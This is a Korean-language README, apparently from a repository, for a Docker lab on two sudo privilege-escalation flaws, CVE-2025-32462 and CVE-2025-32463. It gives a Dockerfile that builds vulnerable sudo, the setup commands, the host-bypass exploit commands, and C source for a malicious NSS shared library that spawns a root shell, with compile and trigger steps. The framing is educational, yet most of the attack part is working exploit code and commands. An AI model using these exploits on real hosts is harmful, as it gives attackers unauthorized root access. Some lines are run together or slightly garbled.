
컨테이너 기반 랩으로, 권한 상승을 위한 두 가지 중요한 sudo 취약점(호스트 검증 우회(CVE-2025-32462) 및 chroot를 통한 NSS 라이브러리 주입(CVE-2025-32463))에 대한 개념 증명 익스플로잇이 포함되어 있습니다.
이 저장소는 두 가지 중요한 sudo 취약점에 대한 컨테이너 기반 실습 환경과 상세한 PoC를 제공합니다:
-h 호스트 일치 로직 우회-R chroot NSS 라이브러리 탈출원본 연구: Rich Mirch – Stratascale CRU
PoC 및 실습 환경: MAAYTHM
Sudo는 /etc/sudoers의 Host_Alias를 통해 호스트 기반 인증을 적용합니다. 취약점은 -h 옵션이 제공될 때 발생합니다. sudo는 시스템의 정식 호스트 이름 대신 제공된 호스트 이름을 평가하므로, 제한된 사용자가 호스트 기반 sudo 정책을 우회할 수 있습니다.
영향:
Sudo의 -R 옵션은 chroot 환경에서 실행을 허용합니다. 초기화 중에 /etc/nsswitch.conf를 기반으로 NSS(이름 서비스 스위치) 라이브러리가 로드됩니다. 악의적인 chroot 환경과 사용자 정의 NSS 라이브러리를 제공함으로써 공격자는 루트로 코드를 실행할 수 있습니다.
공격 표면:
nsswitch.conf영향:
pwn (비루트)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # 취약한 sudo 환경을 빌드합니다
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # 권한 상승에 사용되는 악성 NSS 공유 라이브러리
│ └── build.sh
│ # 익스플로잇 페이로드를 공유 NSS 모듈로 컴파일합니다
│
├── lab/
│ └── setup.sh
│ # 취약한 실습 환경 구성 및 sudoers 설정을 자동화합니다
│
└── README.md
# 기술 문서, 취약점 분석 및 PoC 사용 가이드
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
실습 환경 빌드 및 실행
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
--network sudolabnet \
--ip 172.190.0.3 \
--hostname lowpriv.test.local \
--add-host highpriv.test.local:172.190.0.2 \
--name lowpriv \
sudo-vuln-lab tail -f /dev/null
docker exec -u root -it lowpriv bash echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
정상 동작:
sudo id
익스플로잇:
sudo -h highpriv.test.local id
sudo -h highpriv.test.local hostname -f
mkdir -p exploitDir/etc echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf mkdir libnss_ cp /etc/group exploitDir/etc/
악성 NSS 라이브러리:
#include <stdlib.h> #include <unistd.h>
attribute((constructor)) void GIVEMEROOT(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); }
컴파일:
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
트리거: sudo -R exploitDir
id